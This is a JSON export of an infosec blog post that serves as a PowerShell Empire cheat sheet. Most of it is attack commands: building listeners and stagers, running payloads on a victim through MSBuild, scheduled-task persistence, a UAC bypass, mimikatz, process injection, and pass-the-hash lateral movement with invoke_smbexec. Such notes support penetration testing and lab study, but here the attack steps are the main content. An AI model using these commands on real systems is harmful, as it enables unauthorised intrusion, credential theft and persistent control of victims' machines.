{"id":1242,"date":"2020-04-17T09:09:16","date_gmt":"2020-04-17T07:09:16","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1242"},"modified":"2023-12-20T20:48:17","modified_gmt":"2023-12-20T19:48:17","slug":"powershell-empire","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1242","title":{"rendered":"PowerShell Empire"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Main\u00adly post exploita\u00adtion for <span class=\"caps\">AD<\/span> envi\u00adron\u00adments. (<a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/wiki\/Quickstart\">Down\u00adload<\/a> \u2014 also includ\u00aded in Kali sources)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Quick usage for privilege escalation<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Cre\u00adate a listener.&nbsp;<ol class=\"wp-block-list\">\n<li><code>listeners<\/code><\/li>\n\n\n\n<li><code>uselistener http<\/code><\/li>\n\n\n\n<li><code>set Host $localIp<\/code><\/li>\n\n\n\n<li><code>set Port 8080<\/code><\/li>\n<\/ol>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>execute<\/code><\/li>\n\n\n\n<li><code>back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Cre\u00adate a payload.&nbsp;<ol class=\"wp-block-list\">\n<li><code>usestager windows\/launcher_bat<\/code> (or _vbs,&nbsp;_xml,&nbsp;\u2026)<\/li>\n\n\n\n<li><code>set Listener http<\/code><\/li>\n\n\n\n<li><code>execute<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Copy the cre\u00adat\u00aded pay\u00adload to the target.<\/li>\n\n\n\n<li>(Let) exe\u00adcute it on the target.<\/li>\n\n\n\n<li>Rename the listener.&nbsp;<ol class=\"wp-block-list\">\n<li><code>listeners<\/code><\/li>\n\n\n\n<li><code>interact $listenername<\/code><\/li>\n\n\n\n<li><code>rename $bettername<\/code><\/li>\n\n\n\n<li><code>back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Start back\u00adground tak on the tar\u00adget for persistance.&nbsp;<ol class=\"wp-block-list\">\n<li><code>usemodule powershell\/persistence\/userland\/schtasks<\/code><\/li>\n\n\n\n<li><code>set Agent $agentname<\/code><\/li>\n\n\n\n<li><code>set Listener http<\/code><\/li>\n\n\n\n<li><code>set IdleTime 3<\/code><\/li>\n\n\n\n<li><code>run<\/code><\/li>\n\n\n\n<li><code>back<\/code><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Now start to&nbsp;work\u2026&nbsp;<ol class=\"wp-block-list\">\n<li>Start with <code>usemodule privesc\/powerup\/allchecks<\/code> \u2026<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">General usage<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Metas\u00adploit syn\u00adtax \/ <span class=\"caps\">PSE<\/span> syntax<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>use multi\/handler \/ lis\u00adten\u00aders <span class=\"amp\">&amp;<\/span> uselis\u00adten\u00aders &lt;<span class=\"caps\">TAB<\/span>&gt; <span class=\"amp\">&amp;<\/span> uselis\u00adten\u00aders&nbsp;http<\/li>\n\n\n\n<li>run \/ execute<\/li>\n\n\n\n<li>ses\u00adsions \/ agents<\/li>\n\n\n\n<li>use \/ usemodule<\/li>\n\n\n\n<li>rename <span class=\"caps\">CWS<\/span>\u2026 newname<\/li>\n\n\n\n<li>ses\u00adsions \u2011i $id \/ inter\u00adact $id\n<ul class=\"wp-block-list\">\n<li>down\u00adload<\/li>\n\n\n\n<li>upload<\/li>\n\n\n\n<li>mimikatz<\/li>\n\n\n\n<li>shell\u00adsys\u00adin\u00adfo<\/li>\n\n\n\n<li>ps<\/li>\n\n\n\n<li>migrate $pid \/ psin\u00adject $lis\u00adten\u00ader $pid (ex. psin\u00adject http $pid) <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Note: After <strong>use\u00admod\u00adule<\/strong> don\u2019t for\u00adget to go \u201c<strong>back<\/strong>\u201d and to \u201c<strong>inter\u00adact<\/strong>\u201d with the agent to see job results!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Com\u00admands with an aster\u00adix require a high-integri\u00adty Empire Agent.<\/strong> To upgrade one which is cur\u00adrent\u00adly an Admin\u00adis\u00adtra\u00adtor, use powershell\/privesc\/bypassuac_fodhelper before run\u00adning a com\u00admand marked with an asterix.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Lateral movement<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Use one of the mod\u00adules in powershell\/lateral_movement.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; set ComputerName JEFF\n(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; set Listener http\n(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; set Username nicky\n(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; set Hash b40c7060e1bf68227131564a1bf33d48\n(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; set Domain corp.com\n(Empire: powershell\/lateral_movement\/invoke_smbexec) &gt; execute<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Switching to Metasploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Cre\u00adate a meter\u00adpreter pay\u00adload, upload it in Empire and exe\u00adcute it with shell C:\\\u2026\\payload.exe.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Oth\u00ader way around: Cre\u00adate a lis\u00adten\u00ader in Empire and upload it in a meter\u00adpreter session.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Upgrading a normal shell<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>lis\u00adten\u00aders<\/li>\n\n\n\n<li>uselis\u00adten\u00ader&nbsp;http<\/li>\n\n\n\n<li>set Host \/\/$localIp<\/li>\n\n\n\n<li>exe\u00adcute<\/li>\n\n\n\n<li>uses\u00adtager windows\/launcher_xml<\/li>\n\n\n\n<li>set Lis\u00adten\u00ader&nbsp;http<\/li>\n\n\n\n<li>exe\u00adcute<\/li>\n\n\n\n<li>Upload the gen\u00ader\u00adat\u00aded launcher.xml file to the victim<\/li>\n\n\n\n<li>Exe\u00adcute it on the vic\u00adtim as fol\u00adlows: <pre>C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\/MSBuild.exe launcher.xml<\/pre><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Persistence<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you are using the <code>powershell\/persistence\/userland\/schtasks<\/code> mod\u00adule to archieve per\u00adsis\u00adtence, try to use the attribute Idle\u00adTime. This cre\u00adates a new agent each n minutes.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Main\u00adly post exploita\u00adtion for <span class=\"caps\">AD<\/span> envi\u00adron\u00adments. (Down\u00adload \u2014 also includ\u00aded in Kali sources) Quick usage for priv\u00adi\u00adlege esca\u00adla\u00adtion Gen\u00ader\u00adal usage Metas\u00adploit syn\u00adtax \/ <span class=\"caps\">PSE<\/span> syn\u00adtax Note: After use\u00admod\u00adule don\u2019t for\u00adget to go \u201cback\u201d and to \u201cinter\u00adact\u201d with the agent to see job results! Com\u00admands with an aster\u00adix require a high-inte\u00adgri\u00ad\u00adty Empire Agent. To upgrade one&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471,472,473,474,475],"tags":[252,183,56,24],"class_list":["post-1242","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","category-postexp","category-persistence","category-lateral-movement","category-attack-tool","tag-empire","tag-powershell","tag-reverse-shell","tag-windows"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1242"}],"version-history":[{"count":16,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242\/revisions"}],"predecessor-version":[{"id":3706,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1242\/revisions\/3706"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}